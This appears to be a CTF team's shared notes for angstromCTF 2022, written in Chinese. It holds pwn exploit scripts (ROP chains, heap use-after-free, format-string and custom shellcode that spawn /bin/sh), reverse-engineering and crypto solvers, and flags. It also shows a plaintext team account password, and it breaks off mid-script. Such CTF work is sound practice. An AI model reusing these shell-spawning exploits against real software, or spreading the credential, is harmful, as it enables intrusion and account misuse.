# angstromctf
大家五一有空的时候可以参加这个比赛,赛题有多种难度
网址:https://2022.angstromctf.com/
时间:4.30早上8点~5.5早上八点
用户名:sixstars
密码:v9ZxL9daZv8dk6N
- 题目状态
- W - working
- S - Stuck
- F - Finish
# web
# pwn
## whatsmyname
白给,gdb和ida都没用
```python=
#! /usr/bin/env python
from pwn import *
context.log_level = 'debug'
io = remote("challs.actf.co", 31223)
io.recvuntil(b"Hi! What's your name?")
io.sendline(b"a"*48)
io.recvuntil(b"a"*48)
randomnum = io.recvuntil(b"!", drop=True)
log.info(str(randomnum))
io.sendlineafter(b"Guess my name and you'll get a flag!", randomnum)
io.interactive()
```
## wah
(白给,gdb和ida都没用)*2
```python=
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
io = remote("challs.actf.co", 31224)
io.sendlineafter(b"Cry:",b"a"*40+p64(0x401236))
io.interactive()
```
## really obnoxious problem
白给
```python=
#! /usr/bin/env python3
from pwn import *
io = remote('challs.actf.co', 31225)
#io = process('./really_obnoxious_problem')
io.recvuntil(b'Name: ')
io.sendline(b'bobby')
poprdi = 0x00000000004013f3
poprsir15 = 0x00000000004013f1
io.recvuntil(b'Address: ')
io.sendline(b'a' * 72 + p64(poprdi) + p64(0x1337) + p64(poprsir15) +
p64(0x4040a0) + p64(0) + p64(0x0401256))
io.interactive()
```
## dream
这个不用做了,本地出了,远程服务器给的时间太少,已经私聊了,人家在睡觉
已出
`actf{hav3_you_4ny_dreams_y0u'd_like_to_s3ll?_cb72f5211336}`
主要就是一个sell的时候的UAF,但是限制了堆块大小,并且只能新建5个。这里把control chunk直接malloc出来从而让上述限制都失效了。
泄露libc是把一个堆块size位置改掉,然后释放掉(注意布置后面的堆块来通过unsortedbin的检查)之后show出libc。
然后任意地址写改free_hook。
```python=
from pwn import *
filename="./dreams"
libc_name="libc.so.6"
# io = process(filename)
io = remote('challs.actf.co', 31227)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']
def my_sleep(index,date,about):
io.recvuntil('> ')
io.sendline('1')
io.recvuntil('dream?')
io.sendline(str(index))
io.recvuntil('?')
io.send(date)
io.recvuntil('?')
io.send(about)
def sell(index):
io.recvuntil('> ')
io.sendline('2')
io.recvuntil('?')
io.sendline(str(index))
def visit(index,date):
io.recvuntil('> ')
io.sendline('3')
io.recvuntil('trouble? ')
io.sendline(str(index))
io.recvuntil('that ')
info = io.recvuntil('\n',drop=True) # return key addr
io.recvuntil('?')
io.recvuntil('date: ')
io.send(date)
return info
def debug():
cmd = ""
cmd +="b *0x401549\n" # call visit
gdb.attach(io,cmd)
visit(0,'1')
def arb_write(dst,src):
# arb write 8 bytes
visit(4,p64(dst))
visit(0,p64(src))
my_sleep(0,'1',"aa") #0
my_sleep(1,'1',"bb") # 1
sell(1)
sell(0)
heap_info = u64(visit(0,'1').ljust(8,b'\x00'))
success("heap_info: " + hex(heap_info))
heap_base = heap_info-0x10
success("heap_addr: " + hex(heap_base))
# change one addr to control block
visit(0,p64(heap_base+0x2a0))
my_sleep(3,'1',"aa") # same with 0
# gdb.attach(io,"b *0x4013A4")
my_sleep(4,p64(heap_base+0x0012e0),p64(heap_base+0x001310)) # 4 can control whole
arb_write(heap_base+0x0012e8,0) # key->0
arb_write(heap_base+0x0012e8-0x10,0xa1) # size->0xa0
arb_write(heap_base+0x001378,0x21)
arb_write(heap_base+0x001398,0x21)
visit(4,p64(heap_base+0x0012e0)) # fd back to pointer
# debug()
for i in range(0,8):
sell(0)
arb_write(heap_base+0x0012e8,0)
visit(4,p64(heap_base+0x0012e0))
# debug()
# visit(0)
visit(4,p64(heap_base+0x0012d8))
libc_info = u64(visit(0,p64(0)).ljust(8,b'\x00'))
success("libc_info: " + hex(libc_info))
libc_base = libc_info - 0x1ecbe0
success("libc_base: " + hex(libc_base))
# arb_write(heap_base+0x001310,'/bin/sh')
visit(4,p64(heap_base+0x001310))
visit(0,'/bin/sh')
arb_write(heap_base+0x001318,0)
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
arb_write(free_hook,system)
# debug()
# gdb.attach(io,"b *0x4014FF")
sell(1)
io.interactive()
```
## whereami
`actf{i'd_be_saf3_and_w4rm_if_1_wa5_in_la_5ca5e33ff06f}`
```python=
from pwn import *
filename="./whereami"
libc_name="libc.so.6"
# io = process(filename)
io = remote('challs.actf.co', 31222)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']
csu1 = 0x4012FA
csu2 = 0x4012E0
pop_rdi = 0x0000000000401303
payload = b'a'*0x48
payload +=p64(pop_rdi)
payload+=p64(elf.got['puts'])
payload +=p64(elf.plt['puts'])
payload += p64(csu1)
payload +=p64(0)
payload+=p64(1)+p64(0x40406C)+p64(0)*2+p64(elf.got['gets'])
payload +=p64(csu2)
payload +=p64(0)*7
payload+=p64(0x401110)
io.recvuntil('you? ')
# gdb.attach(io,"b *0x401297")
io.sendline(payload)
# gdb.attach(io,"b *0x401211")
puts_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success("puts_info: " + hex(puts_info))
libc_base = puts_info-libc.symbols['puts']
success("libc_base: " + hex(libc_base))
input('send')
io.sendline(p32(0x0))
payload2 = b"a"*0x48
payload2 +=p64(0x000000000040101a) # ret
payload2 +=p64(pop_rdi)
payload2 +=p64(libc_base+libc.search(b"/bin/sh").__next__())
payload2+=p64(libc.symbols['system']+libc_base)
io.recvuntil('you? ')
# gdb.attach(io,"b *0x401297")
input('send2')
io.sendline(payload2)
io.interactive()
```
## parity
`actf{f3els_like_wa1king_down_4_landsl1de_6d28d72fd7db}`
无语题目,要我写奇偶交替的shellcode,把大伙都整笑了。
找gadget的方法我是用下面的脚本,就是暴力获取所有奇数偶数奇数的全排列指令,然后反汇编。
```python=
oushu = []
jishu = []
for i in range(0,0xff):
if i%2 == 0:
oushu.append(i)
else:
jishu.append(i)
tmp = ""
for a in oushu:
for b in jishu:
for c in oushu:
tmp +=chr(a)+chr(b)+chr(c)
tmp2 = ""
for a in jishu:
for b in oushu:
for c in jishu:
tmp2+=chr(a)+chr(b)+chr(c)
with open ("bin1","w") as f1:
f1.write(tmp)
with open("bin2","w") as f2:
f2.write(tmp2)
```
之后用下面的命令
`disasm -c amd64 < bin > all_gadget`
找到的gadget如下所示。
```txt
0: 00 01 add BYTE PTR [rcx], al
2: 00 00 add BYTE PTR [rax], al
4: 01 02 add DWORD PTR [rdx], eax
6: 00 01 add BYTE PTR [rcx], al
8: 04 00 add al, 0x0
a: 01 06 add DWORD PTR [rsi], eax
c: 00 01 add BYTE PTR [rcx], al
e: 08 00 or BYTE PTR [rax], al
10: 01 0a add DWORD PTR [rdx], ecx
12: 00 01 add BYTE PTR [rcx], al
14: 0c 00 or al, 0x0
16: 01 0e add DWORD PTR [rsi], ecx
18: 00 01 add BYTE PTR [rcx], al
1a: 10 00 adc BYTE PTR [rax], al
1c: 01 12 add DWORD PTR [rdx], edx
1e: 00 01 add BYTE PTR [rcx], al
20: 14 00 adc al, 0x0
```
(这里省略大概90万行)
之后就是在里面找有用的,没有什么技巧,全是感情(太累了!!)
注意这里比较麻烦的就是`syscall`这条指令是\x0f\x05也不是奇偶相见的,因此也要通过加加减减构造。总之就是没什么意思的题目,现实中也完全碰不到。做一次也就够了
```python=
from pwn import *
filename="./parity"
# io = process(filename)
io = remote('challs.actf.co', 31226)
context.log_level='debug'
elf=ELF(filename)
context.terminal=['tmux','split','-hp','60']
context.arch = "amd64"
asm_shell = """
add dx,0x41
add dx,0x55
mov al, 0xf
nop
mov DWORD PTR [rdx], eax
pop rbx
add rdx,1
mov al,0x5
nop
mov DWORD PTR [rdx], eax
pop rbx
add dx,0x21
mov al,0x2f
nop
mov DWORD PTR [rdx], eax
pop rbx
add dx,0x1
mov al,0x61
nop
mov DWORD PTR [rdx], eax
pop rbx
mov al,1
nop
add DWORD PTR [rdx], eax
pop rbx
add dx,0x1
mov al,0x69
nop
mov DWORD PTR [rdx], eax
pop rbx
add dx,0x1
mov al,0x6d
nop
mov DWORD PTR [rdx], eax
pop rbx
mov al,1
nop
add DWORD PTR [rdx], eax
pop rbx
add dx,0x1
mov al,0x2f
nop
mov DWORD PTR [rdx], eax
pop rbx
add dx,0x1
mov al,0x73
nop
mov DWORD PTR [rdx], eax
pop rbx
add dx,0x1
mov al,0x67
nop
mov DWORD PTR [rdx], eax
pop rbx
mov al,1
nop
add DWORD PTR [rdx], eax
push rbx
sub rdx,1
sub rdx,1
sub rdx,1
sub rdx,1
sub rdx,1
sub rdx,1
push rdx
pop rdi
xor rsi,rsi
pop rbx
xor rdx,rdx
xor eax,eax
push rbx
mov al,0x3b
"""
syscall_shell = asm(asm_shell)
# print(len(syscall_shell))
# pause()
# gdb.attach(io,"b *0x4012F5")
io.recvuntil('> ')
io.send(syscall_shell)
io.interactive()
```
## caniride
这个题我觉得只能爆破..如果大家有更好的思路欢迎交流。
做不动了,下面的没法爆破,写不来爆破脚本,改一下能循环爆破就可以了。调试下来这个gadget是能用的,本地能出shell。
```python=
from pwn import *
filename="./caniride"
libc_name="./libc.so.6"
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']
while True:
io = process(filename)
og = [0xe3b2e,0xe3b31,0xe3b34] # the middlen one counts
bias = 8
# gdb.attach(io,"brva 0x147E")
payload1 = "%43c%16$hhn%6c%17$hhn%156c%18$hhn"
io.recvuntil('Name: ')
io.sendline(payload1)
io.recvuntil('driver: ')
io.sendline('-3')
io.recvuntil('this is ')
code_info = u64(io.recvuntil(' ',drop=True).ljust(8,b'\x00'))
code_base = code_info - 0x35a8
success("code_base: " + hex(code_base))
puts_got = elf.got['puts'] + code_base
success("puts_got: " + hex(puts_got))
buf_payload = p64(puts_got+1) + p64(puts_got)+p64(puts_got+2)
io.recvuntil('yourself: ')
try:
io.sendline(buf_payload)
except :
io.close()
continue
else:
io.interactive()
break
```
# misc
## amongus
给了个压缩包,解压得到1000个文件,内容不一样的文件的文件名就是flag。
`diff -q --from-file=./actf\{look1ng_f0r_answers_in_the_p0uring_r4in_001a5e03f1d9\}.txt ./*`
flag:actf{look1ng_f0r_answers_in_the_p0uring_r4in_b21f9732f829}
## Shark 1
给了段流量,直接追踪第一条就拿到flag了……
flag:actf{wireshark_doo_doo_doo_doo_doo_doo}
## Shark 2
流量里传了张图片,看ascii表示有写JFIF,追踪流把原始数据另存为`.jpeg`格式,flag就写在图上。
flag:actf{i_see_you}
# crypto
## Caesar and Desister
凯撒密码
flag:actf{stop_right_there_cryptographer_scum}
## Randomly Sampled Algorithm
RSA
flag:actf{just_kidding_this_algorithm_wasnt_actually_randomly_sampled}
## Vinegar Factory
题目使用key+m%26的方法加密了"actf{[a-z_]{10,50}}fleg",并在密文前后添加随机噪声。key是4位的。
先用正则表达式"[a-z]{4}\{[^{}]{10,50}\}[a-z]{4}"匹配所有字符串,然后用"actf"解出key,用"fleg"检验是否是所需字符串,重复50次得到flag。
flag:actf{classical_crypto_is_not_the_best}
```python=
from pwn import *
import string
import re
context(os="linux",log_level="debug",arch="amd64")
r = remote('challs.actf.co', '31333')
alpha = string.ascii_lowercase
def decrypt(msg,key):
ret = ""
i = 0
for c in msg:
if c in alpha:
ret += alpha[(alpha.index(c)-alpha.index(key[i])) % len(alpha)]
i = (i + 1) % len(key)
else:
ret += c
return ret
for i in range(50):
r.recvuntil(b"Challenge ")
m=r.recvuntil(b"> ")
m=m.decode().split(": ")[1][:-2]
pattern=re.compile(r"[a-z]{4}\{[^{}]{10,50}\}[a-z]{4}")
flegs=pattern.findall(m)
fleg=""
for f in flegs:
actf="actf"
cipher=f[:4]
key=[alpha[(alpha.index(cipher[i])-alpha.index(actf[i]))%26] for i in range(4)]
f=decrypt(f,key)
if f[-4:]=="fleg":
fleg=f[:-4]
break
r.sendline(fleg)
log.success(fleg)
r.interactive()
```
## RSA-AES(W)
找到了2020年的writeup:https://ctf.0xff.re/2020/angstromctf_2020/rsa-otp
# reverse
## baby3
+ 无脑提取字符串
```c=
// main函数的汇编代码
.text:0000000000001139 55 push rbp
.text:000000000000113A 48 89 E5 mov rbp, rsp
.text:000000000000113D 48 83 EC 40 sub rsp, 40h
.text:0000000000001141 64 48 8B 04 25 28 00 00 00 mov rax, fs:28h
.text:000000000000114A 48 89 45 F8 mov [rbp+var_8], rax
.text:000000000000114E 31 C0 xor eax, eax
.text:0000000000001150 48 B8 61 63 74 66 7B 65 6D 68 mov rax, 'hme{ftca'
.text:000000000000115A 48 BA 70 61 69 64 6D 65 7A 65 mov rdx, 'ezemdiap'
.text:0000000000001164 48 89 45 C0 mov [rbp+var_40], rax
.text:0000000000001168 48 89 55 C8 mov [rbp+var_38], rdx
.text:000000000000116C 48 B8 72 6F 64 6F 6C 6C 61 72 mov rax, 'rallodor'
.text:0000000000001176 48 BA 73 74 6F 6D 61 6B 65 74 mov rdx, 'tekamots'
.text:0000000000001180 48 89 45 D0 mov [rbp+var_30], rax
.text:0000000000001184 48 89 55 D8 mov [rbp+var_28], rdx
.text:0000000000001188 48 B8 68 69 73 63 68 61 6C 6C mov rax, 'llahcsih'
.text:0000000000001192 48 BA 65 6E 67 65 5F 61 6D 6F mov rdx, 'oma_egne'
.text:000000000000119C 48 89 45 E0 mov [rbp+var_20], rax
.text:00000000000011A0 48 89 55 E8 mov [rbp+var_18], rdx
.text:00000000000011A4 C7 45 F0 67 75 73 7D mov [rbp+var_10], '}sug'
.text:00000000000011AB C6 45 F4 00 mov [rbp+var_C], 0
.text:00000000000011AF B8 00 00 00 00 mov eax, 0
.text:00000000000011B4 48 8B 55 F8 mov rdx, [rbp+var_8]
```
python 打印一下
```python=
flag=b"}sugoma_egnellahcsihtekamotsrallodorezemdiaphme{ftca"
print(flag[::-1])
```
flag:actf{emhpaidmezerodollarstomakethischallenge_amogus}
## Number Game
白给
```c++=
puts("Welcome to clam's number game!");
printf("Step right up and guess your first number: ");
v3 = _bss_start;
fflush(_bss_start);
v8 = read_int(v3, argv);
if ( v8 == 314159265
&& (printf("That's great, but can you follow it up? "),
v5 = _bss_start,
fflush(_bss_start),
v7 = read_int(v5, argv),
v7 == 199212072) )
{
puts("That was the easy part. Now, what's the 42nd number of the Maltese alphabet?");
getchar();
fgets(s, 64, stdin);
s[strcspn(s, "\n")] = 0;
if ( !strcmp(s, "the airspeed velocity of an unladen swallow") )
{
puts("How... how did you get that? That reference doesn't even make sense...");
puts("Whatever, you can have your flag I guess.");
print_flag();
return 0;
}
else
{
puts("Ha! I knew I would get you there!");
return 1;
}
}
```
依次输入:
314159265
199212072
"the airspeed velocity of an unladen swallow"
即可获得flag

flag:actf{it_turns_out_you_dont_need_source_huh}
## uninspired
一道有趣的数学题
检测逻辑:

输入十个0-9的整数array[0-9],需要满足:
```python=
array[i]=sumj(array[j]=i)
# 比如array[0]=9,表示 array中有9个的数值为0,而array[9]>=1,因为arr
```
从0的个数开始从大到小枚举就行,最终得到如下的输入:
6210001000满足上述条件

flag:actf{ten_digit_numbers_are_very_inspiring}
## dny
又是我们的老朋友rust:)
检验逻辑: 变换输入字符串,然后compare
1. 首先是获取输入

> 格式要求 actf{xxx}
2. 然后交换一下字符串的顺序

> 比较简单
3. 最后进行比较

脚本如下:
```python=
compare=b"_ynourtsd_tet_eh2_bfiasl7cedbda7"
test1="ABCDEFGHIJKLMNOPQRSTUVWXYZ012345" # 测试输入
test2=list("FEHGBADCNMPOJILKVUXWRQTS3254ZY10") # 变换后的输入
seq=[0 for _ in range(32)]
for i in range(32):
seq[i]=test1.index(test2[i])
print(seq)
res=[0 for _ in range(32)]
for i in range(32):
res[i]=compare[seq[i]]
flag=b'actf{'+bytes(res)+b'}'
print(flag)
# actf{rusty_on_the_details_2fbdb7ac7de}
```
flag:actf{rusty_on_the_details_2fbdb7ac7de}
## Flatland
+ 控制流平坦化了,分析起来比较棘手
+ 检测逻辑如下:
```c=
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v3; // rbx
__int64 v4; // r15
int v5; // eax
int v6; // ebp
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rcx
__int64 v10; // rax
__int64 v11; // rdx
int inputchar; // eax
bool v13; // zf
unsigned int v14; // ebx
const char *v15; // rdi
__int64 v17[51205]; // [rsp+0h] [rbp-64028h] BYREF
v5 = 0;
v6 = 0;
while ( 2 )
{
switch ( v5 )
{
case 0:
puts(
"I call our world Flatland, not because we call it so, but to make its nature clearer to you, my happy solvers,"
" who are privileged to have control flow.");
v7 = (__int64)v6 << 12;
*(_OWORD *)((char *)&v17[2] + v7) = 0LL;
*(_OWORD *)((char *)&v17[4] + v7) = 0LL;
*(_OWORD *)((char *)&v17[6] + v7) = 0LL;
*(_OWORD *)((char *)&v17[8] + v7) = 0LL;
*(_OWORD *)((char *)&v17[10] + v7) = 0LL;
*(_OWORD *)((char *)&v17[12] + v7) = 0LL;
*(_OWORD *)((char *)&v17[14] + v7) = 0LL;
*(_OWORD *)((char *)&v17[16] + v7) = 0LL;
*(_OWORD *)((char *)&v17[18] + v7) = 0LL;
*(_OWORD *)((char *)&v17[20] + v7) = 0LL;
*(_OWORD *)((char *)&v17[22] + v7) = 0LL;
*(_OWORD *)((char *)&v17[24] + v7) = 0LL;
*(_OWORD *)((char *)&v17[26] + v7) = 0LL;
*(_OWORD *)((char *)&v17[28] + v7) = 0LL;
*(_OWORD *)((char *)&v17[30] + v7) = 0LL;
*(_OWORD *)((char *)&v17[32] + v7) = 0LL;
++v6;
v4 = 1LL;
v5 = 13;
continue;
case 1:
v10 = (__int64)v6 << 12;
*(__int64 *)((char *)v17 + v10) = v3;
*((_BYTE *)&v17[2] + v10 + v3) = 1;
*(__int64 *)((char *)&v17[1] + v10) = 1LL;
v5 = 4;
continue;
case 2:
v8 = (__int64)v6 << 12;
*(__int64 *)((char *)v17 + v8) = v3;
*((_BYTE *)&v17[2] + v8 + v3) = 1;
v9 = *(__int64 *)((char *)&v17[1] + v8) + 1;// 记录读取数据的次数
*(__int64 *)((char *)&v17[1] + v8) = v9;
v5 = 2 * (v9 == 24) + 4; // 输入长度为24
continue;
case 3: // error information
v14 = 1;
v15 = "All the substantial binaries of Flatland itself appear no better than the offspring of a diseased imaginat"
"ion, or the baseless instructions of a CPU.";
break;
case 4:
++v6;
v4 = 5LL;
v5 = 13;
continue;
case 5:
v11 = v17[512 * (__int64)v6];
if ( v3 == dword_402090[v11] // 四项至少成立一项
|| v11 == dword_402090[v3]
|| v3 == dword_4020F0[v11]
|| (v5 = 3, v11 == dword_4020F0[v3]) )
{
v5 = 3 - (*((_BYTE *)&v17[512 * (__int64)v6 + 2] + v3) == 0);// 后一项等式必须成立,下标不能相同
}
continue;
case 6: // right
v14 = 0;
v15 = "Now you have truly understood the secrets of Flatland.";
break;
case 7:
v17[512 * (__int64)v6] = 0LL; // 循环变量 i
v5 = 8;
continue;
case 8:
v5 = 2 * (v17[512 * (__int64)v6] != 24) + 9;// i不能为24
continue;
case 9: // goto error
--v6;
v3 = -1LL;
v5 = v4;
continue;
case 10:
++v17[512 * (__int64)v6];
v5 = 8;
continue;
case 11:
v5 = 2 * (v3 == aNftrcd1ontrw4M[v17[512 * (__int64)v6]]) + 10;
continue;
case 12:
v3 = v17[512 * (__int64)v6--]; // v3=index,v6--
v5 = v4;
continue;
case 13:
inputchar = getc(stdin); // 获取输入
v17[512 * (__int64)v6] = inputchar;
v13 = inputchar == -1;
v5 = 14;
if ( v13 )
v5 = 3;
continue;
case 14:
v17[512 * (__int64)v6 + 1] = v4;
v3 = v17[512 * (__int64)v6++];
v4 = 15LL;
v5 = 7;
continue;
case 15:
v5 = 3;
if ( v3 != -1 )
v5 = v17[512 * (__int64)v6 + 1];
--v6;
continue;
default:
continue;
}
break;
}
puts(v15);
return v14;
}
```
> 成功的提示对应case6,失败对应case3,case5是对输入的下标的判断,必须满足数组直接的关系
> 所有输入的字符串都储存在aNftrcd1ontrw4M中
> aNftrcd1ontrw4M="NfTRcD1ontrw}4{mFl_Ad0ua"
> 逻辑流分析的过程大致如下

所以大致思路就是调整上面的字符串的顺序,case5中的两个数组来检验下标顺序是否正确
用python写了一个回溯算法的脚本
```python=
string = b"NfTRcD1ontrw}4{mFl_Ad0ua"
print(len(string))
# 0x401140
dword_402090 = [20,10,0,22,14,4,5,22,15,15,18,7,10,2,19,19,9,13,8,17,11,12,0,4]
dword_4020F0= [17,14,15,6,9,12,5,10,18,1,7,21,16,14,16,2,17,0,10,8,22,3,2,19]
flag=False
res=[23,4,9,1,14]
def backtrack(current):
global flag
if len(current)==24 and current[-1]==12:
flag=True
return True
if flag:
return True
# 最多四个方向
choices=[dword_402090[current[-1]]]
if dword_4020F0[current[-1]] not in choices:
choices.append(dword_4020F0[current[-1]])
if current[-1] in dword_402090 and dword_402090.index(current[-1]) not in choices:
choices.append(dword_402090.index(current[-1]))
if current[-1] in dword_4020F0 and dword_4020F0.index(current[-1]) not in choices:
choices.append(dword_4020F0.index(current[-1]))
copy=current
for i in choices:
if (i not in current):
if i!=12 or len(current)==23:
current.append(i) # 做选择
if backtrack(current): # 判断选择是否正确
flag=True
return True
else:
current.pop() # 撤销选择
flag=False
return False
if backtrack(res):
print(res)
# print(res)
flag=[]
for i in range(24):
flag.append(string[res[i]])
print(bytes(flag))
# actf{Fl4TmAn_rouNdw0R1D}
```
flag:actf{Fl4TmAn_rouNdw0R1D}
## Beam
被迫学习一波Erlang语法:(
首先二进制文件为beam类型,是由Erlang语言编译得到的

所以需要进行反编译再分析
最终找到一个类似的分析样例:https://github.com/pwning/public-writeup/blob/master/9447ctf2014/reversing/hellomike/hellomike.md
基本解题步骤: (需要现配一个erl环境)
1. 反编译
```erlang=
io:format("~p~n",[beam_disasm:file("test.beam")]).
```

2. 分析关键函数check

基本逻辑就是先获取输入,然后加密,最后compare
compare字符为"gjsfxpslt"
3. 加密函数 check-fun-0

> 就是对输入的字符加1
解题脚本
```python=
# io:format("~p~n",[beam_disasm:file("test.beam")]).
pawd=b"gjsfxpslt"
res=[m-1 for m in pawd]
print(bytes(res))
# fireworks
```

flag:actf{elixir_is_awesome}
> 算法不难,但是寻找相关资料、现学语法让人头大
## Weeb Hunters 2
+ 很好的一道题,在CTF中打怪兽
+ 逻辑检查难度中等,爆破比较麻烦
+ 只贴出脚本和一些截图,感兴趣的可以私聊,后续可能写个博客:)
+ 感谢魏神帮忙逆向rand函数和运行爆破脚本 :thumbsup:
基本思路:获得武器,升级武器,与boss战斗

> 源代码一角
爆破脚本
```python=
from z3 import *
currentx=0xdead
currenty=0xbeef
currentrand=0x5F10AFD5
# 升级武器的密码
v24 = 0xD3385C606D740964 # 医生小屋 [y = 14920, x = 13100] 0x332c,0x3a48
v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0
v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1
v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2
# 根据参数,求出对应的v8,v9
def updateweapon(v24):
x=BitVec('x',16)
y=BitVec('y',16)
s=Solver()
one=(v24>>48)&0xffff
two=(v24>>32)&0xffff
three=(v24>>16)&0xffff
four=(v24)&0xffff
s.add((x*y)&0xffff==two)
s.add((x^y)&0xffff==four)
s.add(((x&y)+(x|y))&0xffff==three)
s.add((((x&y)+(x|y))+(x*y)+(x^y)&0xffff==one))
s.check()
print(s.model())
def getweapon(wtype):
x=BitVec('x',16)
y=BitVec('y',16)
s=Solver()
s.add((x^y)&7==1)
s.add(((x^y)>>3)&3==wtype)
s.add(x>10000,y>10000)
s.check()
# print(s.model())
m=s.model()
x_value=m[x].as_long()
y_value=m[y].as_long()
return x_value,y_value
# 模拟rand函数
def myrand(seed_value):
seed=seed_value
res=[]
r=[0 for _ in range(360)]
r[0]=seed
for i in range(1,31):
temp=(16807 * r[i-1]) % 2147483647
r[i]=BitVecVal(temp,32).as_long()
for i in range(31,34):
r[i]=r[i-31]
for i in range(34,344):
temp= r[i-31] + r[i-3]
r[i]=BitVecVal(temp,32).as_long()
for i in range(344,344+2):
temp = r[i-31] + r[i-3]
r[i]=BitVecVal(temp,32).as_long()
res.append(r[i]>>1)
return res
def myrand_5(seed_value):
seed=seed_value
res=[]
r=[0 for _ in range(360)]
r[0]=seed
for i in range(1,31):
temp=(16807 * r[i-1]) % 2147483647
r[i]=BitVecVal(temp,32).as_long()
for i in range(31,34):
r[i]=r[i-31]
for i in range(34,344):
temp= r[i-31] + r[i-3]
r[i]=BitVecVal(temp,32).as_long()
for i in range(344,344+5):
temp = r[i-31] + r[i-3]
r[i]=BitVecVal(temp,32).as_long()
res.append(hex(r[i]>>1))
return res
# 获取升级武器的种子
def getupdateseed(v8,v9):
seed=BitVec('seed',32)
s=Solver()
s.add(seed>=0x20202020,seed<=0x7e7e7e7e)
# rand1,rand2,_,rand4=myrand(seed^currentrand)
res=[]
r=[0 for _ in range(360)]
r[0]=seed^currentrand
for i in range(1,31):
r[i]=(16807 * r[i-1]) % 2147483647
for i in range(31,34):
r[i]=r[i-31]
for i in range(31,344):
r[i]=r[i-31]+r[i-3]
for i in range(344,344+2):
r[i]=r[i-31] + r[i-3]
res.append(r[i]>>1)
# print(res)
rand1,rand2=res
s.add(rand1<0x8000)
s.add(rand2<0x8000)
s.add((currentx+rand1)&0xffff==v8)
s.add((currenty+rand2)&0xffff==v9)
s.check()
m=s.model()
print(s.model())
# currentrand=rand4 #!import:这里需要更新
seed_value=m[seed].as_long()
return seed_value
# 获取得到武器的种子
def getweaponseed(wtype):
global currentx,currenty,currentrand
seed=BitVec('seed',32)
s=Solver()
s.add(seed&0xff>=0x20,seed&0xff<=0x7e)
s.add((seed>>8)&0xff>=0x20,(seed>>8)&0xff<=0x7e)
s.add((seed>>16)&0xff>=0x20,(seed>>16)&0xff<=0x7e)
s.add((seed>>24)&0xff>=0x20,(seed>>24)&0xff<=0x7e)
res=[]
r=[0 for _ in range(360)]
r[0]=seed^currentrand
for i in range(1,31):
r[i]=((16807 * r[i-1]) % 2147483647)&0xffffffff
for i in range(31,34):
r[i]=r[i-31]
for i in range(31,344):
r[i]=(r[i-31]+r[i-3])&0xffffffff
for i in range(344,344+2):
r[i]=(r[i-31] + r[i-3])&0xffffffff
res.append((r[i]>>1))
# print(res)
rand1,rand2=res
# rand1,rand2,_,rand4=myrand(seed^currentrand)
s.add(rand1<0x8000)
s.add(rand2<0x8000)
x=(currentx+rand1)&0xffff
y=(currenty+rand2)&0xffff
s.add((x^y)&7==1)
s.add(((x^y)>>3)&3==wtype)
s.check()
print(s.model())
# currentrand=rand4 #!import:这里需要更新
m=s.model()
seed_value=m[seed].as_long()
new_seed=seed_value^currentrand
real1,real2,_,rand4=myrand(new_seed)
realx=(currentx+rand1)&0xffff
realy=(currenty+rand2)&0xffff
# 检验
assert((realx^realy)&7==1)
assert(((realx^realy)>>3)&3==wtype)
return seed_value
# 获得武器的密码
# x,y=getweapon(0) # [y = 10008, x = 10009] 0x2718,0x2719
# print(hex(x),hex(y))
# getweapon(1) # [y = 10013, x = 10004] 0x2714,0x271d
# getweapon(2) # [y = 10121, x = 10008] 0x2718,0x2789
def updatestate(seed):
global currentx,currenty,currentrand
seed_value=seed
new_seed=seed_value^currentrand
rand1,rand2,_,rand4=myrand(new_seed)
currentrand=rand4
currentx=(currentx+rand1)&0xffff
currenty=(currenty+rand2)&0xffff
print(hex(currentx),hex(currenty),hex(new_seed),hex(rand1),hex(rand2),hex(rand4))
secret =[0x39a53,0x97e4f,0x155ac,0xa60ac,0x4e93f,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x44bb,0x2415f,0x483fe,0x94bb,0x7341e,0x109c7,0x1b7e1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x4010c,0x1cc9f,0x97efb,0x3758b,0x77d3,0x3ceba,0x2b9bf,0x1c7a9,0xa753f,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x9ec7,0x4fb6,0x36153,0x29479,0x34f19,0x798a4,0x29937,0x19798,0x2a719,0x163ce,0x1b947,0xd1de,0x14ca9,0x25eab,0xee87,0xa375,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x16352,0x16384,0x163b8,0x29a6e,0x25bda,0x3b8ec,0x14464,0x1a0e5,0xed07,0x3cec9,0xca32,0x27b79,0x13da7,0x2749f,0x3d938,0x1a78f,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x3dd43,0xc9ab,0x6e1f,0x51194,0x3ba72,0x1b9ff,0xed01,0x785b,0x1c9ff,0xb37b,0xe29b,0x16429,0x1fe1,0x155bf,0x4fb69,0x51160,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x36bc2,0x482ce,0x9d1b,0x7241f,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0